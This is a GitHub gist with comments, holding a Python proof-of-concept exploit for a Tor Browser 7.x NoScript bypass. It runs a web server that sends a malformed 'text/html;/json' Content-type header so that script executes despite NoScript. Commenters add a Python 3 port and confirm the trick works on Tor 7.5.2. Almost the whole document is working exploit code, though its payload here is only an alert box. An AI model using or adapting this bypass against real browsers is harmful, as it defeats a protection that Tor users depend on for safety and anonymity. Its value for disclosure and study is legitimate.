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@x0rz x0rz/TorBrowser_7.x_NoScript_bypass.py
Last active Dec 12, 2019

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Tor Browser 7.x NoScript bypass vulnerability https://twitter.com/Zerodium/status/1039127214602641409
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TorBrowser_7.x_NoScript_bypass.py
#!/usr/bin/python
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
PORT_NUMBER = 31337
class myHandler(BaseHTTPRequestHandler):
#Handler for the GET requests
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','text/html;/json') # Here is where the magic happens
self.end_headers()
self.wfile.write("<html>Tor Browser 7.x PoC<script>alert('NoScript bypass')</script></html>")
return
try:
server = HTTPServer(('', PORT_NUMBER), myHandler)
print 'Started httpserver on port ' , PORT_NUMBER
server.serve_forever()
except KeyboardInterrupt:
print '^C received, shutting down the web server'
server.socket.close()
@sparskakyl

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sparskakyl commented Sep 10, 2018

2 hacky wacky 4 me
@brammittendorff

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brammittendorff commented Sep 10, 2018 •
edited

Python3 version:

#!/usr/bin/python
from http.server import BaseHTTPRequestHandler, HTTPServer

PORT_NUMBER = 31337

class myHandler(BaseHTTPRequestHandler):

        #Handler for the GET requests
        def do_GET(self):
                self.send_response(200)
                self.send_header('Content-type','text/html;/json') # Here is where the magic happens
                self.end_headers()
                self.wfile.write("<html>Tor Browser 7.x PoC<script>alert('NoScript bypass')</script></html>".encode())
                return

try:
        server = HTTPServer(('', PORT_NUMBER), myHandler)
        print('Started httpserver on port %s' % PORT_NUMBER)
        server.serve_forever()

except KeyboardInterrupt:
        print('^C received, shutting down the web server')
        server.socket.close()
@jorgeluengar

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jorgeluengar commented Jun 10, 2019

@brammittendorff many thanks in advance for the Python3 version, but there is a small mistake regarding the exploit:
It must use:
self.send_header('Content-type','text/html;/json')
instead of
self.send_header('Content-type','text/html')

Tested on Tor 7.5.2

Thanks!
@brammittendorff

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brammittendorff commented Jun 11, 2019

@jorgeluengar you are right, fixed my comment thanks!
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